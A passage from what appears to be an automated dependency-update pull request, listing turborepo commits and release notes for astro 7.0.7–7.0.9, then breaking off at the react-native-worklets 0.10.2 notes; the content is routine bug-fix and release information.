href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/82bcfb61f140b8f14181704474eef40e8a47b789\"\u003e\u003ccode\u003e82bcfb6\u003c/code\u003e\u003c/a\u003e refactor: Add \u003ccode\u003eToolchain\u003c/code\u003e output availability (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13360\"\u003e#13360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6ed2fb4114de8bc0a7cd8053ee69cc20bb502f56\"\u003e\u003ccode\u003e6ed2fb4\u003c/code\u003e\u003c/a\u003e fix: Preserve Yarn package extension ranges when pruning (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13363\"\u003e#13363\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/38aa7d2dd0c931faaa4f732d19f53c883faa0ecd\"\u003e\u003ccode\u003e38aa7d2\u003c/code\u003e\u003c/a\u003e chore: Update agents app Eve dependency (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13364\"\u003e#13364\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/ed1724965d854cd9c2f8b71a0fa826ec786be161\"\u003e\u003ccode\u003eed17249\u003c/code\u003e\u003c/a\u003e fix: Synchronize Cargo prune Docker lockfile (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13350\"\u003e#13350\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/d53326620df104df16808425674ece8be0eb3529\"\u003e\u003ccode\u003ed533266\u003c/code\u003e\u003c/a\u003e fix: Hash Cargo build environment inputs (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13348\"\u003e#13348\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/ef122d98ae4a6ab90ad65af86f6ff1dd57de8b4f\"\u003e\u003ccode\u003eef122d9\u003c/code\u003e\u003c/a\u003e ci: Shard Rust tests across runners (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13356\"\u003e#13356\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/b3cd7a1ecc1d87031616d754967b80bf3c6ed14e\"\u003e\u003ccode\u003eb3cd7a1\u003c/code\u003e\u003c/a\u003e fix: Include patched Ghostty crate in Cargo workspace (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13357\"\u003e#13357\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e76f0b4b04e79d42edc5f6cd1167c605bd3862b1\"\u003e\u003ccode\u003ee76f0b4\u003c/code\u003e\u003c/a\u003e fix: Isolate Command Overrides From Toolchain Cache I/O (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13354\"\u003e#13354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/compare/v2.10.3...v2.10.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `astro` from 7.0.6 to 7.0.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/releases\"\u003eastro's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eastro@7.0.9\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17286\"\u003e#17286\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a249317e4d03ead215838a5f6f0e6fe70444d5d4\"\u003e\u003ccode\u003ea249317\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes the first browser visit after \u003ccode\u003eastro dev\u003c/code\u003e starts triggering an immediate full page reload\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17369\"\u003e#17369\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a94d4a5afde1fd6de76cb2904703df7eb984b3f0\"\u003e\u003ccode\u003ea94d4a5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Fixes an issue where a client island could permanently fail to hydrate if the first attempt to load its component failed. Islands now reliably recover from transient import failures, which previously did not work for React components during \u003ccode\u003eastro dev\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eastro@7.0.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17363\"\u003e#17363\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/3f4efc5d2f4cf2e38f983bf5842bbd953b5bf923\"\u003e\u003ccode\u003e3f4efc5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro preview --open\u003c/code\u003e not opening a browser when using an adapter with a custom preview entrypoint, such as \u003ccode\u003e@astrojs/cloudflare\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17313\"\u003e#17313\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/e2e319d4a61bf6b9eff5224c51d8433dfeb9153b\"\u003e\u003ccode\u003ee2e319d\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ronits2407\"\u003e\u003ccode\u003e@​ronits2407\u003c/code\u003e\u003c/a\u003e! - Exposes the \u003ccode\u003eAstroRuntimeLogger\u003c/code\u003e interface to allow users to properly type the logger functions at runtime.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17328\"\u003e#17328\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/025cc747d3eac4241cb4015a8789963970b0480a\"\u003e\u003ccode\u003e025cc74\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro dev --force\u003c/code\u003e not replacing an already-running dev server\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17353\"\u003e#17353\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/2bba2775e12285b5d7ed0710c6579d808817704d\"\u003e\u003ccode\u003e2bba277\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Updates the Astro compiler to the latest version, which fixes many regressions. Refer to the \u003ca href=\"https://github.com/withastro/compiler-rs/releases/tag/%40astrojs/compiler-rs%400.3.1\"\u003echangelog\u003c/a\u003e for more details.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17344\"\u003e#17344\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/79a41e06add3cbb144809f88a0b5ac88d2f8e7d1\"\u003e\u003ccode\u003e79a41e0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Improves rendering performance for pages with many component instances, such as repeated MDX \u003ccode\u003e\u0026lt;Content /\u0026gt;\u003c/code\u003e components.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/64b0d6667eabd8fe51643dfdab7004670e319810\"\u003e\u003ccode\u003e64b0d66\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-satteri\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.3.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eastro@7.0.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17318\"\u003e#17318\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/23a4120b1ba546521ed66c09cb39e346aee6b75a\"\u003e\u003ccode\u003e23a4120\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes CSS module scoped-name hash mismatch in \u003ccode\u003eastro dev\u003c/code\u003e when using \u003ccode\u003evite.css.transformer: 'lightningcss'\u003c/code\u003e with content collections. Previously, a component importing a CSS module and rendered via content collection \u003ccode\u003erender()\u003c/code\u003e would get different class name hashes in the element and the injected \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e tag, causing styles not to apply.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server memory leak which caused Node.js to emit warnings in the console.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server crash when a \u003ccode\u003e.html\u003c/code\u003e or \u003ccode\u003e/index.html\u003c/code\u003e suffixed request (such as those \u003ccode\u003enetlify dev\u003c/code\u003e probes as pretty-URL fallbacks) matched a dynamic endpoint route, causing a \u003ccode\u003eTypeError: Missing parameter\u003c/code\u003e error\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17325\"\u003e#17325\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/cebc40495cd09e8036af34c2f668fc2965e089b0\"\u003e\u003ccode\u003ecebc404\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes a bug where CSS \u003ccode\u003e@import\u003c/code\u003e rules could end up mid-stylesheet after inline CSS chunks were merged during build, causing browsers to silently ignore them\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a build regression that could leave unresolved preload markers in inlined scripts with external dynamic imports\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/telemetry\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.3.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md\"\u003eastro's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e7.0.9\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17286\"\u003e#17286\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a249317e4d03ead215838a5f6f0e6fe70444d5d4\"\u003e\u003ccode\u003ea249317\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes the first browser visit after \u003ccode\u003eastro dev\u003c/code\u003e starts triggering an immediate full page reload\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17369\"\u003e#17369\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a94d4a5afde1fd6de76cb2904703df7eb984b3f0\"\u003e\u003ccode\u003ea94d4a5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Fixes an issue where a client island could permanently fail to hydrate if the first attempt to load its component failed. Islands now reliably recover from transient import failures, which previously did not work for React components during \u003ccode\u003eastro dev\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.0.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17363\"\u003e#17363\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/3f4efc5d2f4cf2e38f983bf5842bbd953b5bf923\"\u003e\u003ccode\u003e3f4efc5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro preview --open\u003c/code\u003e not opening a browser when using an adapter with a custom preview entrypoint, such as \u003ccode\u003e@astrojs/cloudflare\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17313\"\u003e#17313\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/e2e319d4a61bf6b9eff5224c51d8433dfeb9153b\"\u003e\u003ccode\u003ee2e319d\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ronits2407\"\u003e\u003ccode\u003e@​ronits2407\u003c/code\u003e\u003c/a\u003e! - Exposes the \u003ccode\u003eAstroRuntimeLogger\u003c/code\u003e interface to allow users to properly type the logger functions at runtime.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17328\"\u003e#17328\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/025cc747d3eac4241cb4015a8789963970b0480a\"\u003e\u003ccode\u003e025cc74\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/matthewp\"\u003e\u003ccode\u003e@​matthewp\u003c/code\u003e\u003c/a\u003e! - Fixes \u003ccode\u003eastro dev --force\u003c/code\u003e not replacing an already-running dev server\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17353\"\u003e#17353\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/2bba2775e12285b5d7ed0710c6579d808817704d\"\u003e\u003ccode\u003e2bba277\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Updates the Astro compiler to the latest version, which fixes many regressions. Refer to the \u003ca href=\"https://github.com/withastro/compiler-rs/releases/tag/%40astrojs/compiler-rs%400.3.1\"\u003echangelog\u003c/a\u003e for more details.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17344\"\u003e#17344\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/79a41e06add3cbb144809f88a0b5ac88d2f8e7d1\"\u003e\u003ccode\u003e79a41e0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/adamchal\"\u003e\u003ccode\u003e@​adamchal\u003c/code\u003e\u003c/a\u003e! - Improves rendering performance for pages with many component instances, such as repeated MDX \u003ccode\u003e\u0026lt;Content /\u0026gt;\u003c/code\u003e components.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/64b0d6667eabd8fe51643dfdab7004670e319810\"\u003e\u003ccode\u003e64b0d66\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/markdown-satteri\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.3.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.0.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17318\"\u003e#17318\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/23a4120b1ba546521ed66c09cb39e346aee6b75a\"\u003e\u003ccode\u003e23a4120\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes CSS module scoped-name hash mismatch in \u003ccode\u003eastro dev\u003c/code\u003e when using \u003ccode\u003evite.css.transformer: 'lightningcss'\u003c/code\u003e with content collections. Previously, a component importing a CSS module and rendered via content collection \u003ccode\u003erender()\u003c/code\u003e would get different class name hashes in the element and the injected \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e tag, causing styles not to apply.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server memory leak which caused Node.js to emit warnings in the console.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a dev server crash when a \u003ccode\u003e.html\u003c/code\u003e or \u003ccode\u003e/index.html\u003c/code\u003e suffixed request (such as those \u003ccode\u003enetlify dev\u003c/code\u003e probes as pretty-URL fallbacks) matched a dynamic endpoint route, causing a \u003ccode\u003eTypeError: Missing parameter\u003c/code\u003e error\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17325\"\u003e#17325\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/cebc40495cd09e8036af34c2f668fc2965e089b0\"\u003e\u003ccode\u003ecebc404\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/astrobot-houston\"\u003e\u003ccode\u003e@​astrobot-houston\u003c/code\u003e\u003c/a\u003e! - Fixes a bug where CSS \u003ccode\u003e@import\u003c/code\u003e rules could end up mid-stylesheet after inline CSS chunks were merged during build, causing browsers to silently ignore them\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/17323\"\u003e#17323\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Fixes a build regression that could leave unresolved preload markers in inlined scripts with external dynamic imports\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/withastro/astro/commit/4298883399550cae5d5e089d73cb9adadbc2d69b\"\u003e\u003ccode\u003e4298883\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​astrojs/telemetry\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.3.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/e7d79350659b1910ee88e9e78df13721962773e0\"\u003e\u003ccode\u003ee7d7935\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17373\"\u003e#17373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/a249317e4d03ead215838a5f6f0e6fe70444d5d4\"\u003e\u003ccode\u003ea249317\u003c/code\u003e\u003c/a\u003e fix: prevent spurious full-reload on first browser visit after dev server sta...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/a94d4a5afde1fd6de76cb2904703df7eb984b3f0\"\u003e\u003ccode\u003ea94d4a5\u003c/code\u003e\u003c/a\u003e fix(astro-island): use query param for hydration import retry so recovery wor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/dec769217f62b4f7546b448c4e9f947bda4422c8\"\u003e\u003ccode\u003edec7692\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17338\"\u003e#17338\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/3048391b488223809b3cb78524f06e6e9e20b87c\"\u003e\u003ccode\u003e3048391\u003c/code\u003e\u003c/a\u003e refactor(test): migrate vite virtual module tests from e2e to integration (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/3f4efc5d2f4cf2e38f983bf5842bbd953b5bf923\"\u003e\u003ccode\u003e3f4efc5\u003c/code\u003e\u003c/a\u003e fix: pass \u003ccode\u003eopen\u003c/code\u003e option to adapter preview entrypoints (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17362\"\u003e#17362\u003c/a\u003e)\\n\\nAdd \u003ccode\u003eopen\u003c/code\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/79a41e06add3cbb144809f88a0b5ac88d2f8e7d1\"\u003e\u003ccode\u003e79a41e0\u003c/code\u003e\u003c/a\u003e Improve rendering performance for pages with many components (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17344\"\u003e#17344\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/2bba2775e12285b5d7ed0710c6579d808817704d\"\u003e\u003ccode\u003e2bba277\u003c/code\u003e\u003c/a\u003e fix: update the compiler to the latest (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17353\"\u003e#17353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/025cc747d3eac4241cb4015a8789963970b0480a\"\u003e\u003ccode\u003e025cc74\u003c/code\u003e\u003c/a\u003e Fix astro dev --force not replacing a running dev server (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/17328\"\u003e#17328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/1b33c1f37dcace102cc39163c44f214168ece3d6\"\u003e\u003ccode\u003e1b33c1f\u003c/code\u003e\u003c/a\u003e fix(routing): prevent trailing slash on file extension endpoint paths in stri...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/withastro/astro/commits/astro@7.0.9/packages/astro\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-native-worklets` from 0.10.1 to 0.10.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/software-mansion/react-native-reanimated/releases\"\u003ereact-native-worklets's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eWorklets - 0.10.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echerry-pick(worklets-0.10-stable): read from path which starts with '/' in ScriptBufferWrapper.kt (\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/tree/HEAD/packages/react-native-worklets/issues/9503\"\u003e#9503\u003c/a\u003e) by \u003ca href=\"https://github.com/tjzel\"\u003e\u003ccode\u003e@​tjzel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/software-mansion/react-native-reanimated/pull/9881\"\u003esoftware-mansion/react-native-reanimated#9881\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eredesign: removed erroring when can't createSerializable by \u003ca href=\"https://github.com/tshmieldev\"\u003e\u003ccode\u003e@​tshmieldev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/software-mansion/react-native-reanimated/pull/9884\"\u003esoftware-mansion/react-native-reanimated#9884\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(Worklets): 0.10.2 by \u003ca href=\"https://github.com/tjzel\"\u003e\u003ccode\u003e@​tjzel\u003c/code\u003e\u003c/a\u003e in \u003ca 